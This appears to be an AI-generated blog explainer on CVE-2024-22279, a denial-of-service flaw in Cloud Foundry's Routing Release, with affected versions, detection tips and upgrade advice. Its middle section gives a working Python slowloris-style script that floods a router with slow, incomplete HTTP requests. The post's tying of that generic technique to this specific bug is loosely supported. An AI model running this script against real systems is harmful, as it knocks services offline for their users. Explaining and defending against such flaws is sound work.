Cloud Foundry is a popular open-source platform for running and scaling apps. Its Routing component handles incoming network requests and directs them to the right app instances. But recently, a new vulnerability called CVE-2024-22279 was found in how the Routing Release (versions after v.273. and up to and including v.297.) deals with requests. This bug lets anyone—without logging in—slow down or even knock out Cloud Foundry services if they send enough requests.

In this article, we’ll break down what the problem is, show you how it might be exploited, and share resources for understanding and fixing it.

What is CVE-2024-22279?

CVE-2024-22279 is a “Denial of Service” (DoS) vulnerability in Cloud Foundry’s Routing component. The core issue is that some special kinds of (malformed or unexpected) network requests are not handled correctly. If an attacker sends lots of these requests, the Routing Release becomes overwhelmed, causing apps and services to slow down or become totally unavailable.

The scary part? No password or special access is needed to exploit this flaw. It only takes basic network access to the system.

Routing Release > v.273. and <= v.297.

So, if you’re running a version after .273. up to and including .297., you could be at risk.

The Routing Release expects requests to be well-formed.

2. An attacker sends a massive number of requests with features (like big HTTP headers, slowloris-style connections, or malformed payloads) that cause the router to hang, queue, or waste resources.

As the router chokes, good (normal) requests are delayed or dropped.

4. If many attackers (or one attacker with a botnet) do this at the same time, they can cause serious service outages.

Proof-of-Concept Python Code

Here’s a code snippet simulating an attack. Do not use for harm—test responsibly on your own systems.

import socket
import time

target_host = 'your.cf.router.ip'
target_port = 80  # or 443 for HTTPS

# Example: slowloris-style attack
for i in range(500):  # try hundreds to thousands for scale
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_host, target_port))
        s.sendall(b"GET / HTTP/1.1\r\n")
        s.sendall(b"Host: your.cf.router.domain\r\n")
        # Send one header at a time, slowly
        for _ in range(100):
            s.sendall(b"X-a: b\r\n")
            time.sleep(.5)
        # Keep connection open
    except Exception as e:
        print("Error:", e)

The above code opens hundreds of connections and sends incomplete HTTP requests, tying up resources. With enough scale, this degrades the router’s performance for real users.

Impact: HIGH. If abused at scale, the whole Cloud Foundry deployment may become inaccessible.

- Detection: High volume of incomplete/slow requests to the router; logs showing router resource exhaustion.

Monitor:

Watch for a spike in incomplete/slow connections; check logs for abnormal router behavior.

References

- Cloud Foundry Security Advisory (CVE-2024-22279)

Original advisory from the Cloud Foundry team

- CVE Details page for CVE-2024-22279

Summary

CVE-2024-22279 is a serious but easy-to-fix issue in Cloud Foundry’s Routing Release. Any attacker who can hit the router with enough traffic can knock out your apps. The fix is simple: upgrade past version v.297., put in some traffic controls, and keep an eye on your network.

Have questions or need help? Check the Cloud Foundry community forums or your vendor’s support channels.

Stay safe out there!

*Exclusive content by AI—written in plain English for the real world.*

Timeline

Published on: 06/10/2024 20:15:12 UTC
Last modified on: 08/01/2024 22:43:34 UTC